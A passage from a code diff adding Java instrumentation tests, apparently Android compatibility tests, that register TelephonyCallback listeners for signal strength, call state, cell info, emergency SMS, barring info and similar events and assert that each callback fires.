+        registerTelephonyCallback(mServiceStateCallback);
+        synchronized (mLock) {
+            if (!mOnServiceStateChangedCalled) {
+                mLock.wait(WAIT_TIME);
+            }
+        }
+
+        assertTrue(mOnServiceStateChangedCalled);
+
+        // Test unregister
+        unRegisterTelephonyCallback(mOnServiceStateChangedCalled, mServiceStateCallback);
+    }
+
+    private SignalStrengthsListener mSignalStrengthsCallback;
+
+    private class SignalStrengthsListener extends TelephonyCallback
+            implements TelephonyCallback.SignalStrengthsListener {
+        @Override
+        public void onSignalStrengthsChanged(SignalStrength signalStrength) {
+            synchronized (mLock) {
+                mSignalStrength = signalStrength;
+                mLock.notify();
+            }
+        }
+    }
+
+    private void getSignalStrength() {
+        mSignalStrength.getCdmaDbm();
+        mSignalStrength.getCdmaEcio();
+        mSignalStrength.getEvdoDbm();
+        mSignalStrength.getEvdoEcio();
+        mSignalStrength.getEvdoSnr();
+        mSignalStrength.getGsmBitErrorRate();
+        mSignalStrength.getGsmSignalStrength();
+        mSignalStrength.isGsm();
+        mSignalStrength.getLevel();
+    }
+
+    @Test
+    public void testOnSignalStrengthsChangedByRegisterTelephonyCallback() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+        assertTrue(mSignalStrength == null);
+
+        mHandler.post(() -> {
+            mSignalStrengthsCallback = new SignalStrengthsListener();
+            registerTelephonyCallback(mSignalStrengthsCallback);
+        });
+        synchronized (mLock) {
+            if (mSignalStrength == null) {
+                mLock.wait(WAIT_TIME);
+            }
+        }
+
+        assertTrue(mSignalStrength != null);
+        // Call SignalStrength methods to make sure they do not throw any exceptions
+        getSignalStrength();
+
+        // Test unregister
+        unRegisterTelephonyCallback(mSignalStrength == null, mSignalStrengthsCallback);
+    }
+
+    private MessageWaitingIndicatorListener mMessageWaitingIndicatorCallback;
+
+    private class MessageWaitingIndicatorListener extends TelephonyCallback
+            implements TelephonyCallback.MessageWaitingIndicatorListener {
+        @Override
+        public void onMessageWaitingIndicatorChanged(boolean mwi) {
+            synchronized (mLock) {
+                mOnMessageWaitingIndicatorChangedCalled = true;
+                mLock.notify();
+            }
+        }
+    }
+
+    @Test
+    public void testOnMessageWaitingIndicatorChangedByRegisterTelephonyCallback()
+            throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+        assertFalse(mOnMessageWaitingIndicatorChangedCalled);
+
+        mHandler.post(() -> {
+            mMessageWaitingIndicatorCallback = new MessageWaitingIndicatorListener();
+            registerTelephonyCallback(mMessageWaitingIndicatorCallback);
+        });
+        synchronized (mLock) {
+            if (!mOnMessageWaitingIndicatorChangedCalled) {
+                mLock.wait(WAIT_TIME);
+            }
+        }
+
+        assertTrue(mOnMessageWaitingIndicatorChangedCalled);
+
+        // Test unregister
+        unRegisterTelephonyCallback(mOnMessageWaitingIndicatorChangedCalled,
+                mMessageWaitingIndicatorCallback);
+    }
+
+    private PreciseCallStateListener mPreciseCallStateCallback;
+
+    private class PreciseCallStateListener extends TelephonyCallback
+            implements TelephonyCallback.PreciseCallStateListener {
+        @Override
+        public void onPreciseCallStateChanged(PreciseCallState preciseCallState) {
+            synchronized (mLock) {
+                mOnPreciseCallStateChangedCalled = true;
+                mPreciseCallState = preciseCallState;
+                mLock.notify();
+            }
+        }
+    }
+
+    @Test
+    public void testOnPreciseCallStateChangedByRegisterTelephonyCallback() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+        assertThat(mOnPreciseCallStateChangedCalled).isFalse();
+
+        mHandler.post(() -> {
+            mPreciseCallStateCallback = new PreciseCallStateListener();
+            registerTelephonyCallbackWithPermission(mPreciseCallStateCallback);
+        });
+        synchronized (mLock) {
+            if (!mOnPreciseCallStateChangedCalled) {
+                mLock.wait(WAIT_TIME);
+            }
+        }
+        Log.d(TAG, "testOnPreciseCallStateChangedByRegisterTelephonyCallback: "
+                + mOnPreciseCallStateChangedCalled);
+
+        assertThat(mOnPreciseCallStateChangedCalled).isTrue();
+        assertThat(mPreciseCallState.getForegroundCallState()).isIn(PRECISE_CALL_STATE);
+        assertThat(mPreciseCallState.getBackgroundCallState()).isIn(PRECISE_CALL_STATE);
+        assertThat(mPreciseCallState.getRingingCallState()).isIn(PRECISE_CALL_STATE);
+
+        // Test unregister
+        unRegisterTelephonyCallback(mOnPreciseCallStateChangedCalled,
+                mPreciseCallStateCallback);
+    }
+
+    private CallDisconnectCauseListener mCallDisconnectCauseCallback;
+
+    private class CallDisconnectCauseListener extends TelephonyCallback
+            implements TelephonyCallback.CallDisconnectCauseListener {
+        @Override
+        public void onCallDisconnectCauseChanged(int disconnectCause,
+                                                 int preciseDisconnectCause) {
+            synchronized (mLock) {
+                mOnCallDisconnectCauseChangedCalled = true;
+                mLock.notify();
+            }
+        }
+    }
+
+    @Test
+    public void testOnCallDisconnectCauseChangedByRegisterTelephonyCallback() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+        assertThat(mOnCallDisconnectCauseChangedCalled).isFalse();
+
+        mHandler.post(() -> {
+            mCallDisconnectCauseCallback = new CallDisconnectCauseListener();
+            registerTelephonyCallbackWithPermission(mCallDisconnectCauseCallback);
+
+        });
+        synchronized (mLock) {
+            if (!mOnCallDisconnectCauseChangedCalled) {
+                mLock.wait(WAIT_TIME);
+            }
+        }
+
+        assertThat(mOnCallDisconnectCauseChangedCalled).isTrue();
+
+        // Test unregister
+        unRegisterTelephonyCallback(mOnCallDisconnectCauseChangedCalled,
+                mCallDisconnectCauseCallback);
+    }
+
+    private ImsCallDisconnectCauseListener mImsCallDisconnectCauseCallback;
+
+    private class ImsCallDisconnectCauseListener extends TelephonyCallback
+            implements TelephonyCallback.ImsCallDisconnectCauseListener {
+        @Override
+        public void onImsCallDisconnectCauseChanged(ImsReasonInfo imsReason) {
+            synchronized (mLock) {
+                mOnImsCallDisconnectCauseChangedCalled = true;
+                mLock.notify();
+            }
+        }
+    }
+
+    @Test
+    public void testOnImsCallDisconnectCauseChangedByRegisterTelephonyCallback() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+        assertThat(mOnImsCallDisconnectCauseChangedCalled).isFalse();
+
+        mHandler.post(() -> {
+            mImsCallDisconnectCauseCallback = new ImsCallDisconnectCauseListener();
+            registerTelephonyCallbackWithPermission(mImsCallDisconnectCauseCallback);
+
+        });
+        synchronized (mLock) {
+            if (!mOnImsCallDisconnectCauseChangedCalled) {
+                mLock.wait(WAIT_TIME);
+            }
+        }
+
+        assertThat(mOnImsCallDisconnectCauseChangedCalled).isTrue();
+
+        // Test unregister
+        unRegisterTelephonyCallback(mOnImsCallDisconnectCauseChangedCalled,
+                mImsCallDisconnectCauseCallback);
+    }
+
+    private SrvccStateListener mSrvccStateCallback;
+
+    private class SrvccStateListener extends TelephonyCallback
+            implements TelephonyCallback.SrvccStateListener {
+        @Override
+        public void onSrvccStateChanged(int state) {
+            synchronized (mLock) {
+                mSrvccStateChangedCalled = true;
+                mLock.notify();
+            }
+        }
+    }
+
+    @Test
+    public void testOSrvccStateChangedByRegisterTelephonyCallback() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+        assertThat(mSrvccStateChangedCalled).isFalse();
+
+        mHandler.post(() -> {
+            mSrvccStateCallback = new SrvccStateListener();
+            registerTelephonyCallbackWithPermission(mSrvccStateCallback);
+
+        });
+        synchronized (mLock) {
+            if (!mSrvccStateChangedCalled) {
+                mLock.wait(WAIT_TIME);
+            }
+        }
+        Log.d(TAG, "testOSrvccStateChangedByRegisterTelephonyCallback");
+
+        assertThat(mSrvccStateChangedCalled).isTrue();
+
+        // Test unregister
+        unRegisterTelephonyCallback(mSrvccStateChangedCalled, mSrvccStateCallback);
+    }
+
+    private RadioPowerStateListener mRadioPowerStateCallback;
+
+    private class RadioPowerStateListener extends TelephonyCallback
+            implements TelephonyCallback.RadioPowerStateListener {
+        @Override
+        public void onRadioPowerStateChanged(int state) {
+            synchronized (mLock) {
+                mRadioPowerState = state;
+                mOnRadioPowerStateChangedCalled = true;
+                mLock.notify();
+            }
+        }
+    }
+
+    @Test
+    public void testOnRadioPowerStateChangedByRegisterTelephonyCallback() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+        assertThat(mOnRadioPowerStateChangedCalled).isFalse();
+
+        mHandler.post(() -> {
+            mRadioPowerStateCallback = new RadioPowerStateListener();
+            registerTelephonyCallbackWithPermission(mRadioPowerStateCallback);
+        });
+        synchronized (mLock) {
+            if (!mOnRadioPowerStateChangedCalled) {
+                mLock.wait(WAIT_TIME);
+            }
+        }
+        Log.d(TAG, "testOnRadioPowerStateChangedByRegisterTelephonyCallback: "
+                + mRadioPowerState);
+
+        assertThat(mTelephonyManager.getRadioPowerState()).isEqualTo(mRadioPowerState);
+
+        // Test unregister
+        unRegisterTelephonyCallback(mOnRadioPowerStateChangedCalled,
+                mRadioPowerStateCallback);
+    }
+
+    private VoiceActivationStateListener mVoiceActivationStateCallback;
+
+    private class VoiceActivationStateListener extends TelephonyCallback
+            implements TelephonyCallback.VoiceActivationStateListener {
+        @Override
+        public void onVoiceActivationStateChanged(int state) {
+            synchronized (mLock) {
+                mVoiceActivationState = state;
+                mVoiceActivationStateChangedCalled = true;
+                mLock.notify();
+            }
+        }
+    }
+
+    @Test
+    public void testOnVoiceActivationStateChangedByRegisterTelephonyCallback() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+        assertThat(mVoiceActivationStateChangedCalled).isFalse();
+
+        mHandler.post(() -> {
+            mVoiceActivationStateCallback = new VoiceActivationStateListener();
+            registerTelephonyCallbackWithPermission(mVoiceActivationStateCallback);
+
+        });
+        synchronized (mLock) {
+            if (!mVoiceActivationStateChangedCalled) {
+                mLock.wait(WAIT_TIME);
+            }
+        }
+        Log.d(TAG, "testOnVoiceActivationStateChangedByRegisterTelephonyCallback: "
+                + mVoiceActivationState);
+        int state = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                (tm) -> tm.getVoiceActivationState());
+
+        assertEquals(state, mVoiceActivationState);
+
+        // Test unregister
+        unRegisterTelephonyCallback(mVoiceActivationStateChangedCalled,
+                mVoiceActivationStateCallback);
+    }
+
+    private PreciseDataConnectionStateListener mPreciseDataConnectionStateCallback;
+
+    private class PreciseDataConnectionStateListener extends TelephonyCallback
+            implements TelephonyCallback.PreciseDataConnectionStateListener {
+        @Override
+        public void onPreciseDataConnectionStateChanged(
+                PreciseDataConnectionState state) {
+            synchronized (mLock) {
+                mOnPreciseDataConnectionStateChanged = true;
+                mPreciseDataConnectionState = state;
+                mLock.notify();
+            }
+        }
+    }
+
+    private void getPreciseDataConnectionState() {
+        // Ensure that no exceptions are thrown
+        mPreciseDataConnectionState.getNetworkType();
+        mPreciseDataConnectionState.getLinkProperties();
+        mPreciseDataConnectionState.getLastCauseCode();
+        mPreciseDataConnectionState.getLinkProperties();
+        mPreciseDataConnectionState.getApnSetting();
+        mPreciseDataConnectionState.getTransportType();
+        mPreciseDataConnectionState.getId();
+
+        // Deprecated in R
+        assertEquals(mPreciseDataConnectionState.getDataConnectionState(),
+                mPreciseDataConnectionState.getState());
+        assertEquals(mPreciseDataConnectionState.getDataConnectionFailCause(),
+                mPreciseDataConnectionState.getLastCauseCode());
+
+        // Superseded in R by getApnSetting()
+        mPreciseDataConnectionState.getDataConnectionApnTypeBitMask();
+        mPreciseDataConnectionState.getDataConnectionApn();
+    }
+
+    @Test
+    public void testOnPreciseDataConnectionStateChangedByRegisterTelephonyCallback()
+            throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+        assertThat(mOnCallDisconnectCauseChangedCalled).isFalse();
+
+        mHandler.post(() -> {
+            mPreciseDataConnectionStateCallback =
+                    new PreciseDataConnectionStateListener();
+            registerTelephonyCallbackWithPermission(mPreciseDataConnectionStateCallback);
+
+        });
+        synchronized (mLock) {
+            if (!mOnPreciseDataConnectionStateChanged) {
+                mLock.wait(WAIT_TIME);
+            }
+        }
+
+        assertThat(mOnPreciseDataConnectionStateChanged).isTrue();
+        assertThat(mPreciseDataConnectionState.getState())
+                .isIn(DATA_CONNECTION_STATE);
+
+        getPreciseDataConnectionState();
+        // Test unregister
+        unRegisterTelephonyCallback(mOnPreciseDataConnectionStateChanged,
+                mPreciseDataConnectionStateCallback);
+    }
+
+    private DisplayInfoListener mDisplayInfoCallback;
+
+    private class DisplayInfoListener extends TelephonyCallback
+            implements TelephonyCallback.DisplayInfoListener {
+        @Override
+        public void onDisplayInfoChanged(TelephonyDisplayInfo displayInfo) {
+            synchronized (mLock) {
+                mOnTelephonyDisplayInfoChanged = true;
+                mLock.notify();
+            }
+        }
+    }
+
+    @Test
+    public void testOnDisplayInfoChangedByRegisterTelephonyCallback() throws Exception {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+        assertThat(mOnTelephonyDisplayInfoChanged).isFalse();
+
+        mHandler.post(() -> {
+            mDisplayInfoCallback = new DisplayInfoListener();
+            registerTelephonyCallback(mDisplayInfoCallback);
+        });
+
+        synchronized (mLock) {
+            if (!mOnTelephonyDisplayInfoChanged) {
+                mLock.wait(WAIT_TIME);
+            }
+        }
+        assertTrue(mOnTelephonyDisplayInfoChanged);
+
+        // Test unregister
+        unRegisterTelephonyCallback(mOnTelephonyDisplayInfoChanged, mDisplayInfoCallback);
+    }
+
+    private CallForwardingIndicatorListener mCallForwardingIndicatorCallback;
+
+    private class CallForwardingIndicatorListener extends TelephonyCallback
+            implements TelephonyCallback.CallForwardingIndicatorListener {
+        @Override
+        public void onCallForwardingIndicatorChanged(boolean cfi) {
+            synchronized (mLock) {
+                mOnCallForwardingIndicatorChangedCalled = true;
+                mLock.notify();
+            }
+        }
+    }
+
+    @Test
+    public void testOnCallForwardingIndicatorChangedByRegisterTelephonyCallback()
+            throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+        assertFalse(mOnCallForwardingIndicatorChangedCalled);
+
+        mHandler.post(() -> {
+            mCallForwardingIndicatorCallback = new CallForwardingIndicatorListener();
+            registerTelephonyCallback(mCallForwardingIndicatorCallback);
+        });
+        synchronized (mLock) {
+            if (!mOnCallForwardingIndicatorChangedCalled) {
+                mLock.wait(WAIT_TIME);
+            }
+        }
+
+        assertTrue(mOnCallForwardingIndicatorChangedCalled);
+
+        // Test unregister
+        unRegisterTelephonyCallback(mOnCallForwardingIndicatorChangedCalled,
+                mCallForwardingIndicatorCallback);
+    }
+
+    private CellLocationListener mCellLocationCallback;
+
+    private class CellLocationListener extends TelephonyCallback
+            implements TelephonyCallback.CellLocationListener {
+        @Override
+        public void onCellLocationChanged(CellLocation location) {
+            synchronized (mLock) {
+                mOnCellLocationChangedCalled = true;
+                mLock.notify();
+            }
+        }
+    }
+
+    @Test
+    public void testOnCellLocationChangedByRegisterTelephonyCallback() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+        assertFalse(mOnCellLocationChangedCalled);
+
+        TelephonyManagerTest.grantLocationPermissions();
+        mHandler.post(() -> {
+            mCellLocationCallback = new CellLocationListener();
+            registerTelephonyCallback(mCellLocationCallback);
+        });
+        synchronized (mLock) {
+            if (!mOnCellLocationChangedCalled) {
+                mLock.wait(WAIT_TIME);
+            }
+        }
+
+        assertTrue(mOnCellLocationChangedCalled);
+
+        // Test unregister
+        unRegisterTelephonyCallback(mOnCellLocationChangedCalled, mCellLocationCallback);
+    }
+
+    private CallStateListener mCallStateCallback;
+
+    private class CallStateListener extends TelephonyCallback
+            implements TelephonyCallback.CallStateListener {
+        @Override
+        public void onCallStateChanged(int state, String incomingNumber) {
+            synchronized (mLock) {
+                mOnCallStateChangedCalled = true;
+                mLock.notify();
+            }
+        }
+    }
+
+    @Test
+    public void testOnCallStateChangedByRegisterTelephonyCallback() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+        assertFalse(mOnCallStateChangedCalled);
+
+        mHandler.post(() -> {
+            mCallStateCallback = new CallStateListener();
+            registerTelephonyCallback(mCallStateCallback);
+        });
+        synchronized (mLock) {
+            if (!mOnCallStateChangedCalled) {
+                mLock.wait(WAIT_TIME);
+            }
+        }
+
+        assertTrue(mOnCallStateChangedCalled);
+
+        // Test unregister
+        unRegisterTelephonyCallback(mOnCallStateChangedCalled, mCallStateCallback);
+    }
+
+    private DataConnectionStateListener mDataConnectionStateCallback;
+
+    private class DataConnectionStateListener extends TelephonyCallback
+            implements TelephonyCallback.DataConnectionStateListener {
+        @Override
+        public void onDataConnectionStateChanged(int state, int networkType) {
+            synchronized (mLock) {
+                mOnDataConnectionStateChangedCalled = true;
+                mOnDataConnectionStateChangedWithNetworkTypeCalled = true;
+                if (mOnDataConnectionStateChangedCalled
+                        && mOnDataConnectionStateChangedWithNetworkTypeCalled) {
+                    mLock.notify();
+                }
+            }
+        }
+    }
+
+    @Test
+    public void testOnDataConnectionStateChangedByRegisterTelephonyCallback() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+        assertFalse(mOnDataConnectionStateChangedCalled);
+        assertFalse(mOnDataConnectionStateChangedWithNetworkTypeCalled);
+
+        mHandler.post(() -> {
+            mDataConnectionStateCallback = new DataConnectionStateListener();
+            registerTelephonyCallback(mDataConnectionStateCallback);
+
+        });
+        synchronized (mLock) {
+            if (!mOnDataConnectionStateChangedCalled ||
+                    !mOnDataConnectionStateChangedWithNetworkTypeCalled) {
+                mLock.wait(WAIT_TIME);
+            }
+        }
+
+        assertTrue(mOnDataConnectionStateChangedCalled);
+        assertTrue(mOnDataConnectionStateChangedWithNetworkTypeCalled);
+
+        // Test unregister
+        unRegisterTelephonyCallback(mOnDataConnectionStateChangedCalled,
+                mDataConnectionStateCallback);
+    }
+
+    private DataActivityListener mDataActivityCallback;
+
+    private class DataActivityListener extends TelephonyCallback
+            implements TelephonyCallback.DataActivityListener {
+        @Override
+        public void onDataActivity(int direction) {
+            synchronized (mLock) {
+                mOnDataActivityCalled = true;
+                mLock.notify();
+            }
+        }
+    }
+
+    @Test
+    public void testOnDataActivityByRegisterTelephonyCallback() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+        assertFalse(mOnDataActivityCalled);
+
+        mHandler.post(() -> {
+            mDataActivityCallback = new DataActivityListener();
+            registerTelephonyCallback(mDataActivityCallback);
+
+        });
+        synchronized (mLock) {
+            if (!mOnDataActivityCalled) {
+                mLock.wait(WAIT_TIME);
+            }
+        }
+
+        assertTrue(mOnDataActivityCalled);
+
+        // Test unregister
+        unRegisterTelephonyCallback(mOnDataActivityCalled, mDataActivityCallback);
+    }
+
+    private CellInfoListener mCellInfoCallback;
+
+    private class CellInfoListener extends TelephonyCallback
+            implements TelephonyCallback.CellInfoListener {
+        @Override
+        public void onCellInfoChanged(List<CellInfo> cellInfo) {
+            synchronized (mLock) {
+                mOnCellInfoChangedCalled = true;
+                mLock.notify();
+            }
+        }
+    }
+
+    @Test
+    public void testOnCellInfoChangedByRegisterTelephonyCallback() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+        assertFalse(mOnDataActivityCalled);
+
+        TelephonyManagerTest.grantLocationPermissions();
+        mHandler.post(() -> {
+            mCellInfoCallback = new CellInfoListener();
+            registerTelephonyCallback(mCellInfoCallback);
+        });
+        synchronized (mLock) {
+            if (!mOnCellInfoChangedCalled) {
+                mLock.wait(WAIT_TIME);
+            }
+        }
+
+        assertTrue(mOnCellInfoChangedCalled);
+
+        // Test unregister
+        unRegisterTelephonyCallback(mOnCellInfoChangedCalled, mCellInfoCallback);
+    }
+
+    private UserMobileDataStateListener mUserMobileDataStateCallback;
+
+    private class UserMobileDataStateListener extends TelephonyCallback
+            implements TelephonyCallback.UserMobileDataStateListener {
+        @Override
+        public void onUserMobileDataStateChanged(boolean state) {
+            synchronized (mLock) {
+                mOnUserMobileDataStateChanged = true;
+                mLock.notify();
+            }
+        }
+    }
+
+    @Test
+    public void testOnUserMobileDataStateChangedByRegisterTelephonyCallback() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+        assertFalse(mOnUserMobileDataStateChanged);
+
+        mHandler.post(() -> {
+            mUserMobileDataStateCallback = new UserMobileDataStateListener();
+            registerTelephonyCallback(mUserMobileDataStateCallback);
+        });
+        synchronized (mLock) {
+            if (!mOnUserMobileDataStateChanged) {
+                mLock.wait(WAIT_TIME);
+            }
+        }
+
+        assertTrue(mOnUserMobileDataStateChanged);
+
+        // Test unregister
+        unRegisterTelephonyCallback(mOnUserMobileDataStateChanged, mUserMobileDataStateCallback);
+    }
+
+    private OutgoingEmergencySmsListener mOutgoingEmergencySmsCallback;
+
+    private class OutgoingEmergencySmsListener extends TelephonyCallback
+            implements TelephonyCallback.OutgoingEmergencySmsListener {
+        @Override
+        public void onOutgoingEmergencySms(EmergencyNumber emergencyNumber, int subId) {
+            synchronized (mLock) {
+                Log.i(TAG, "onOutgoingEmergencySms: emergencyNumber=" + emergencyNumber);
+                mOnOutgoingSmsEmergencyNumberChanged = emergencyNumber;
+                mLock.notify();
+            }
+        }
+    }
+
+    @Test
+    public void testOnOutgoingSmsEmergencyNumberChangedByRegisterTelephonyCallback()
+            throws Throwable {
+
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+
+        TelephonyUtils.addTestEmergencyNumber(
+                InstrumentationRegistry.getInstrumentation(), TEST_EMERGENCY_NUMBER);
+        assertNull(mOnOutgoingSmsEmergencyNumberChanged);
+
+        mHandler.post(() -> {
+            mOutgoingEmergencySmsCallback = new OutgoingEmergencySmsListener();
+            registerTelephonyCallbackWithPermission(mOutgoingEmergencySmsCallback);
+            SmsManager.getDefault().sendTextMessage(
+                    TEST_EMERGENCY_NUMBER, null,
+                    "testOutgoingSmsListenerCtsByRegisterTelephonyCallback",
+                    null, null);
+        });
+        try {
+            synchronized (mLock) {
+                if (mOnOutgoingSmsEmergencyNumberChanged == null) {
+                    mLock.wait(WAIT_TIME);
+                }
+            }
+        } catch (InterruptedException e) {
+            Log.e(TAG, "Operation interrupted.");
+        } finally {
+            TelephonyUtils.removeTestEmergencyNumber(
+                    InstrumentationRegistry.getInstrumentation(), TEST_EMERGENCY_NUMBER);
+        }
+
+        assertNotNull(mOnOutgoingSmsEmergencyNumberChanged);
+        assertEquals(mOnOutgoingSmsEmergencyNumberChanged.getNumber(), TEST_EMERGENCY_NUMBER);
+
+        // Test unregister
+        unRegisterTelephonyCallback(mOnOutgoingSmsEmergencyNumberChanged == null,
+                mOutgoingEmergencySmsCallback);
+    }
+
+    private ActiveDataSubscriptionIdListener mActiveDataSubscriptionIdCallback;
+
+    private class ActiveDataSubscriptionIdListener extends TelephonyCallback
+            implements TelephonyCallback.ActiveDataSubscriptionIdListener {
+        @Override
+        public void onActiveDataSubscriptionIdChanged(int subId) {
+            synchronized (mLock) {
+                mOnActiveDataSubscriptionIdChanged = true;
+                mLock.notify();
+            }
+        }
+    }
+
+    @Test
+    public void testOnActiveDataSubscriptionIdChangedByRegisterTelephonyCallback()
+            throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+        assertFalse(mOnActiveDataSubscriptionIdChanged);
+
+        mHandler.post(() -> {
+            mActiveDataSubscriptionIdCallback =
+                    new ActiveDataSubscriptionIdListener();
+            registerTelephonyCallback(mActiveDataSubscriptionIdCallback);
+        });
+        synchronized (mLock) {
+            if (!mOnActiveDataSubscriptionIdChanged) {
+                mLock.wait(WAIT_TIME);
+            }
+        }
+
+        assertTrue(mOnActiveDataSubscriptionIdChanged);
+
+        // Test unregister
+        unRegisterTelephonyCallback(mOnActiveDataSubscriptionIdChanged,
+                mActiveDataSubscriptionIdCallback);
+    }
+
+    private BarringInfoListener mBarringInfoCallback;
+
+    private class BarringInfoListener extends TelephonyCallback
+            implements TelephonyCallback.BarringInfoListener {
+        @Override
+        public void onBarringInfoChanged(BarringInfo barringInfo) {
+            synchronized (mLock) {
+                mOnBarringInfoChangedCalled = true;
+                mBarringInfo = barringInfo;
+                mLock.notify();
+            }
+        }
+    }
+
+    @Test
+    public void testOnBarringInfoChangedByRegisterTelephonyCallback() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+
+        assertFalse(mOnBarringInfoChangedCalled);
+        mHandler.post(() -> {
+            mBarringInfoCallback = new BarringInfoListener();
+            registerTelephonyCallbackWithPermission(mBarringInfoCallback);
+        });
+
+        synchronized (mLock) {
+            if (!mOnBarringInfoChangedCalled) {
+                mLock.wait(WAIT_TIME);
+            }
+        }
+        assertTrue(mOnBarringInfoChangedCalled);
+
+        assertBarringInfoSane(mBarringInfo);
+
+        // Test unregister
+        unRegisterTelephonyCallback(mOnBarringInfoChangedCalled, mBarringInfoCallback);
+    }
+
+    private static final int[] sBarringServiceInfoTypes = new int[]{
+            BarringInfo.BARRING_SERVICE_TYPE_CS_SERVICE,
+            BarringInfo.BARRING_SERVICE_TYPE_PS_SERVICE,
+            BarringInfo.BARRING_SERVICE_TYPE_CS_VOICE,
+            BarringInfo.BARRING_SERVICE_TYPE_MO_SIGNALLING,
+            BarringInfo.BARRING_SERVICE_TYPE_MO_DATA,
+            BarringInfo.BARRING_SERVICE_TYPE_CS_FALLBACK,
+            BarringInfo.BARRING_SERVICE_TYPE_MMTEL_VOICE,
+            BarringInfo.BARRING_SERVICE_TYPE_MMTEL_VIDEO,
+            BarringInfo.BARRING_SERVICE_TYPE_EMERGENCY,
+            BarringInfo.BARRING_SERVICE_TYPE_SMS
+    };
+
+    private static void assertBarringInfoSane(BarringInfo barringInfo) {
+        assertNotNull(barringInfo);
+
+        // Flags to track whether we have had unknown and known barring types reported
+        boolean hasBarringTypeUnknown = false;
+        boolean hasBarringTypeKnown = false;
+
+        for (int bsiType : sBarringServiceInfoTypes) {
+            BarringInfo.BarringServiceInfo bsi = barringInfo.getBarringServiceInfo(bsiType);
+            assertNotNull(bsi);
+            switch (bsi.getBarringType()) {
+                case BarringInfo.BarringServiceInfo.BARRING_TYPE_UNKNOWN:
+                    hasBarringTypeUnknown = true;
+                    assertFalse(bsi.isConditionallyBarred());
+                    assertEquals(0, bsi.getConditionalBarringFactor());
+                    assertEquals(0, bsi.getConditionalBarringTimeSeconds());
+                    assertFalse(bsi.isBarred());
+                    break;
+
+                case BarringInfo.BarringServiceInfo.BARRING_TYPE_NONE:
+                    hasBarringTypeKnown = true;
+                    // Unless conditional barring is active, all conditional barring fields
+                    // should be "unset".
+                    assertFalse(bsi.isConditionallyBarred());
+                    assertEquals(0, bsi.getConditionalBarringFactor());
+                    assertEquals(0, bsi.getConditionalBarringTimeSeconds());
+                    assertFalse(bsi.isBarred());
+                    break;
+
+                case BarringInfo.BarringServiceInfo.BARRING_TYPE_UNCONDITIONAL:
+                    hasBarringTypeKnown = true;
+                    // Unless conditional barring is active, all conditional barring fields
+                    // should be "unset".
+                    assertFalse(bsi.isConditionallyBarred());
+                    assertEquals(0, bsi.getConditionalBarringFactor());
+                    assertEquals(0, bsi.getConditionalBarringTimeSeconds());
+                    assertTrue(bsi.isBarred());
+                    break;
+
+                case BarringInfo.BarringServiceInfo.BARRING_TYPE_CONDITIONAL:
+                    hasBarringTypeKnown = true;
+                    // If conditional barring is active, then the barring time and factor must
